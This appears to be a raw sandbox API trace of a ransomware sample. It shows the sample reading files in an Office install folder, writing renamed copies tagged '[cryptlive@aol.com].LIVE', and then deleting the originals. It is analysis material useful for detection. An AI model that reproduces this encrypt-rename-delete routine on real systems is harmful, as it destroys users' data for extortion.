[0139.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString=".zip") returned 4 [0139.076] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.076] lstrlenW (lpString=".rar") returned 4 [0139.076] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString=".bz2") returned 4 [0139.076] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString=".7z") returned 3 [0139.076] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString=".dbf") returned 4 [0139.076] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString=".1cd") returned 4 [0139.076] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString=".jpg") returned 4 [0139.076] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString=".doc") returned 4 [0139.076] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString=".docx") returned 5 [0139.077] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0139.077] lstrlenW (lpString=".pdf") returned 4 [0139.077] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.077] lstrlenW (lpString=".xls") returned 4 [0139.077] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.077] lstrlenW (lpString=".xlsx") returned 5 [0139.077] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0139.077] lstrlenW (lpString=".ppt") returned 4 [0139.077] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.077] lstrlenW (lpString=".zip") returned 4 [0139.077] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.077] lstrlenW (lpString=".rar") returned 4 [0139.077] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.077] lstrlenW (lpString=".bz2") returned 4 [0139.077] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.077] lstrlenW (lpString=".7z") returned 3 [0139.077] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.077] lstrlenW (lpString=".dbf") returned 4 [0139.077] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.077] lstrlenW (lpString=".1cd") returned 4 [0139.077] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.077] lstrlenW (lpString=".jpg") returned 4 [0139.077] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.077] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0139.077] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0139.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.078] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2144) returned 1 [0139.078] CloseHandle (hObject=0x3ac) returned 1 [0139.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20 [0139.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.079] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.079] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0139.079] GetLastError () returned 0x0 [0139.080] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x860, lpOverlapped=0x0) returned 1 [0139.183] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x870, lpOverlapped=0x0) returned 1 [0139.403] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.403] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.403] SetEndOfFile (hFile=0x3a0) returned 1 [0139.403] CloseHandle (hObject=0x3a0) returned 1 [0139.404] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.404] SetEndOfFile (hFile=0x3ac) returned 1 [0139.406] CloseHandle (hObject=0x3ac) returned 1 [0139.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 1 [0139.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.472] lstrlenW (lpString=".doc") returned 4 [0139.472] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0139.472] lstrlenW (lpString=".docx") returned 5 [0139.472] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0139.472] lstrlenW (lpString=".pdf") returned 4 [0139.472] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0139.472] lstrlenW (lpString=".xls") returned 4 [0139.472] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0139.472] lstrlenW (lpString=".xlsx") returned 5 [0139.472] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0139.472] lstrlenW (lpString=".ppt") returned 4 [0139.472] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0139.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.472] lstrlenW (lpString=".zip") returned 4 [0139.472] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0139.472] lstrlenW (lpString=".rar") returned 4 [0139.472] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0139.472] lstrlenW (lpString=".bz2") returned 4 [0139.472] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString=".7z") returned 3 [0139.473] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0139.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.473] lstrlenW (lpString=".dbf") returned 4 [0139.473] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.473] lstrlenW (lpString=".1cd") returned 4 [0139.473] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.473] lstrlenW (lpString=".jpg") returned 4 [0139.473] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.473] lstrlenW (lpString=".doc") returned 4 [0139.473] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString=".docx") returned 5 [0139.473] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0139.473] lstrlenW (lpString=".pdf") returned 4 [0139.473] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString=".xls") returned 4 [0139.473] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0139.473] lstrlenW (lpString=".xlsx") returned 5 [0139.473] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0139.473] lstrlenW (lpString=".ppt") returned 4 [0139.473] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.473] lstrlenW (lpString=".zip") returned 4 [0139.473] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0139.473] lstrlenW (lpString=".rar") returned 4 [0139.473] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString=".bz2") returned 4 [0139.473] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0139.473] lstrlenW (lpString=".7z") returned 3 [0139.473] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0139.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.473] lstrlenW (lpString=".dbf") returned 4 [0139.474] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0139.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.474] lstrlenW (lpString=".1cd") returned 4 [0139.474] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0139.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0139.474] lstrlenW (lpString=".jpg") returned 4 [0139.474] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0139.474] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0139.474] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0139.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0139.491] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=16256) returned 1 [0139.491] CloseHandle (hObject=0x3b4) returned 1 [0139.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll")) returned 0x20 [0139.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.503] lstrlenW (lpString=".doc") returned 4 [0139.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.503] lstrlenW (lpString=".docx") returned 5 [0139.503] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0139.503] lstrlenW (lpString=".pdf") returned 4 [0139.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.503] lstrlenW (lpString=".xls") returned 4 [0139.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.503] lstrlenW (lpString=".xlsx") returned 5 [0139.503] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0139.503] lstrlenW (lpString=".ppt") returned 4 [0139.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.503] lstrlenW (lpString=".zip") returned 4 [0139.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.503] lstrlenW (lpString=".rar") returned 4 [0139.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.503] lstrlenW (lpString=".bz2") returned 4 [0139.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.503] lstrlenW (lpString=".7z") returned 3 [0139.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.503] lstrlenW (lpString=".dbf") returned 4 [0139.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.503] lstrlenW (lpString=".1cd") returned 4 [0139.503] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.503] lstrlenW (lpString=".jpg") returned 4 [0139.503] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.504] lstrlenW (lpString=".doc") returned 4 [0139.504] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.504] lstrlenW (lpString=".docx") returned 5 [0139.504] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0139.504] lstrlenW (lpString=".pdf") returned 4 [0139.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.504] lstrlenW (lpString=".xls") returned 4 [0139.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.504] lstrlenW (lpString=".xlsx") returned 5 [0139.504] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0139.504] lstrlenW (lpString=".ppt") returned 4 [0139.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.504] lstrlenW (lpString=".zip") returned 4 [0139.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.504] lstrlenW (lpString=".rar") returned 4 [0139.504] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.504] lstrlenW (lpString=".bz2") returned 4 [0139.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.504] lstrlenW (lpString=".7z") returned 3 [0139.504] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.504] lstrlenW (lpString=".dbf") returned 4 [0139.504] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.504] lstrlenW (lpString=".1cd") returned 4 [0139.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0139.504] lstrlenW (lpString=".jpg") returned 4 [0139.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.504] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0139.505] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0139.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.506] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=164216) returned 1 [0139.506] CloseHandle (hObject=0x350) returned 1 [0139.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 0x20 [0139.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.506] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.506] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.507] GetLastError () returned 0x0 [0139.507] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x28178, lpOverlapped=0x0) returned 1 [0139.511] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x28180, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x28180, lpOverlapped=0x0) returned 1 [0139.514] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.514] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0139.515] SetEndOfFile (hFile=0x3b0) returned 1 [0139.515] CloseHandle (hObject=0x3b0) returned 1 [0139.515] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.515] SetEndOfFile (hFile=0x350) returned 1 [0139.530] CloseHandle (hObject=0x350) returned 1 [0139.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 1 [0139.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.531] lstrlenW (lpString=".doc") returned 4 [0139.531] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.531] lstrlenW (lpString=".docx") returned 5 [0139.531] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0139.531] lstrlenW (lpString=".pdf") returned 4 [0139.531] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.531] lstrlenW (lpString=".xls") returned 4 [0139.531] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.531] lstrlenW (lpString=".xlsx") returned 5 [0139.531] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0139.531] lstrlenW (lpString=".ppt") returned 4 [0139.531] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.531] lstrlenW (lpString=".zip") returned 4 [0139.531] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.531] lstrlenW (lpString=".rar") returned 4 [0139.531] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.531] lstrlenW (lpString=".bz2") returned 4 [0139.531] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.531] lstrlenW (lpString=".7z") returned 3 [0139.532] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.532] lstrlenW (lpString=".dbf") returned 4 [0139.532] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.532] lstrlenW (lpString=".1cd") returned 4 [0139.532] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.532] lstrlenW (lpString=".jpg") returned 4 [0139.532] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.532] lstrlenW (lpString=".doc") returned 4 [0139.532] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString=".docx") returned 5 [0139.532] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0139.532] lstrlenW (lpString=".pdf") returned 4 [0139.532] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString=".xls") returned 4 [0139.532] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.532] lstrlenW (lpString=".xlsx") returned 5 [0139.532] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0139.532] lstrlenW (lpString=".ppt") returned 4 [0139.532] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.532] lstrlenW (lpString=".zip") returned 4 [0139.532] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.532] lstrlenW (lpString=".rar") returned 4 [0139.532] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString=".bz2") returned 4 [0139.532] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.532] lstrlenW (lpString=".7z") returned 3 [0139.532] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.532] lstrlenW (lpString=".dbf") returned 4 [0139.532] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.533] lstrlenW (lpString=".1cd") returned 4 [0139.533] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0139.533] lstrlenW (lpString=".jpg") returned 4 [0139.533] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.533] lstrcmpiW (lpString1=".gta", lpString2=".LIVE") returned -1 [0139.533] lstrlenW (lpString="Discussion.gta") returned 14 [0139.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 